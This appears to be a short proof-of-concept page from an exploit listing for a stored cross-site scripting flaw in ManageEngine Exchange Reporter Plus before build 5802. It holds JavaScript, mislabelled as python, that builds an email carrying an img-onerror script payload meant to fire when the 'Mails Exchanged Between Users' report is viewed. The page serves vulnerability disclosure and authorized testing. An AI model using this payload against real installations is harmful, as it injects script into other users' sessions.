Zohocorp ManageEngine Exchange Reporter Plus < 5802
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for Stored XSS in ManageEngine Exchange Reporter Plus
// Target: "Mails Exchanged Between Users" report
// Description: Send an email containing a script tag to trigger the vulnerability when the report is viewed.
function generateMaliciousEmail() {
// The payload aims to demonstrate execution by showing an alert
var xssPayload = "<img src=x onerror=alert('CVE-2026-28703')>";
// Simulate the email body or subject that is vulnerable
var emailData = {
"subject": "Important Report Update",
"body": "Please check the report attached below. " + xssPayload,
"recipient": "[email protected]"
};
return emailData;
}
// In a real exploitation scenario, this payload would be sent via the product's email interface
console.log("Malicious Email Generated:", generateMaliciousEmail());